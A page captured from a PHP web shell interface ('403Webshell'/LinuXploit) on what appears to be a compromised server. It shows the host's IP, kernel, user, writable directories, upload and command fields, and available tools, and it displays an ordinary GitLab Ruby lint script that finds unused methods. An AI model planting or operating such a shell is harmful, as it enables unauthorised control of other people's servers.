403Webshell
Server IP : 188.151.22.197  /  Your IP : 216.73.217.74
Web Server : Apache/2.4.62 (Rocky Linux) OpenSSL/3.5.5
System : Linux wsten.se 5.14.0-687.30.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jul 27 13:09:21 UTC 2026 x86_64
User : apache ( 48)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/gitlab/embedded/service/gitlab-rails/scripts/lint/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/gitlab/embedded/service/gitlab-rails/scripts/lint/unused_methods.rb
#!/usr/bin/env ruby
# frozen_string_literal: true

require 'parallel'
require 'rainbow'
require 'yaml'

EXCLUDED_METHODS_PATH = '.gitlab/lint/unused_methods/excluded_methods.yml'
POTENTIAL_METHODS_PATH = '.gitlab/lint/unused_methods/potential_methods_to_remove.yml'

print_report = %w[true 1].include? ENV["REPORT_ALL_UNUSED_METHODS"]

start = Process.clock_gettime(Process::CLOCK_MONOTONIC)

# If we have no `ee/*` files to process, this indicates that we are running in
#   gitlab-org/gitlab-foss, which means we don't have EE-specific files. In this
#   case, we should exit early since the script is designed to work with EE files.
#
exit unless Dir.exist?('ee')

# Build an array of filename globs to process.
# Only search file types that might use or define a method.
#
extensions = %w[rb haml erb].flat_map do |ext|
  [
    "{ee/,}app/**/*.#{ext}",
    "config/**/*.#{ext}",
    "gems/**/*.#{ext}",
    "{ee/,}lib/**/*.#{ext}"
  ]
end

# Build a hash of all the source files to search.
# Key is filename, value is an array of the lines.
#
source_files = {}

Dir.glob(extensions).each do |filename|
  source_files[filename] = File.readlines(filename)
end

# Build an array of {method, file} hashes defined in [ee/]app/helpers/* and
#   [ee/]app/models/* files.
#
methods = source_files.keys.grep(%r{app/helpers|app/models}).flat_map do |filename|
  source_files[filename].flat_map do |line|
    line =~ /def ([^(;\s]+)/ ? [{ method: Regexp.last_match(1).chomp, file: filename }] : []
  end
end

# Remove any excluded methods
#
excluded_methods = YAML.load_file(EXCLUDED_METHODS_PATH, symbolize_names: true)

methods.reject! do |h|
  excluded_method = excluded_methods[h[:file].to_sym]
  excluded_method.flat_map(&:keys).include?(h[:method].to_sym) if excluded_method
end

puts "Scanning #{source_files.size} files for #{methods.size} methods..." if print_report

# Combine all the source code into one big string, because regex are fast.
#
source_code = source_files.values.flatten.join

# Iterate over all the methods and reject any that appear anywhere in the complete source.
#
unused = Parallel.flat_map(methods, progress: ('Checking methods' if print_report)) do |method|
  regex = if method[:method].end_with?('=')
            /(?<!def )#{Regexp.quote(method[:method].sub(/^self\./, '').chomp('='))}\W=*/
          else
            /(?<!def )#{Regexp.quote(method[:method].sub(/^self\./, ''))}\W/
          end

  regex.match?(source_code) ? [] : method
end

# Transform used into a hash keyed on file names
#
unused_method_collection = Hash.new { |hash, key| hash[key] = [] }

unused.each do |unused_method|
  unused_method_collection[unused_method[:file]] << unused_method[:method]
end

# Print the list of all methods identified as unused as YAML.
#
if print_report
  finish = Process.clock_gettime(Process::CLOCK_MONOTONIC)

  if unused
    puts "\nFound #{unused.size} unused methods:\n\n"

    puts unused_method_collection.to_yaml
    puts "\n"
  else
    puts Rainbow('No unused methods were found.').green.bright
  end

  puts "Finished in #{finish - start} seconds."
  exit 0
end

########################################################################################
# To report new unused or removed methods, build an array of `[file name]#[method name]`
#   for each set of methods, those in POTENTIAL_METHODS_PATH and those we stored
#   in unused_method_collection earlier. This gives each method a unique fingerprint.
#   We then find the difference between between these 2 arrays in each direction,
#   which gives us a list of newly unused methods as well as those that appear to
#   have been removed from the application.
#
def parse_methods_diff(diff_to_parse)
  methods_hash = Hash.new { |hash, key| hash[key] = [] }

  diff_to_parse.each do |file_name, method_name|
    methods_hash[file_name] << method_name
  end

  methods_hash
end

# Create arrays of "[file name], [method name]" for comparison
#
pum = YAML.load_file(POTENTIAL_METHODS_PATH)
pm = pum.flat_map { |f, ml| [f].product(ml) }

umc = unused_method_collection.flat_map { |f, ml| [f].product(ml) }

# Find the difference between each array of method names
#
new_unused_methods = umc - pm
removed_methods = pm - umc

###########################################################
# Report methods that appear unused that we didn't previously record in
#   POTENTIAL_METHODS_PATH
#
unless new_unused_methods.empty?
  error = <<~UPDATE_UNUSED
  ❌ We have detected #{new_unused_methods.size} newly unused methods.

  Please remove these methods, or if in use, add to #{EXCLUDED_METHODS_PATH}.\n
  UPDATE_UNUSED

  puts Rainbow(error).red.bright

  puts Rainbow(parse_methods_diff(new_unused_methods).to_yaml).red.bright
end

if new_unused_methods.size + removed_methods.size > 0
  puts Rainbow("~" * 80).white.bright
  puts "\n"
end

####################################################################################
# Report methods recorded in POTENTIAL_METHODS_PATH that appear to have been removed
#
unless removed_methods.empty?
  warning = <<~UPDATE_UNUSED
  🏆 It appears you have removed unused methods. Thank you!

  Please update potential_methods_to_remove.yml and remove entries for these methods.\n
  UPDATE_UNUSED

  print Rainbow(warning).yellow.bright

  puts Rainbow(parse_methods_diff(removed_methods).to_yaml).yellow.bright
end

exit 1 unless new_unused_methods.empty? && removed_methods.empty?

Youez - 2016 - github.com/yon3zu
LinuXploit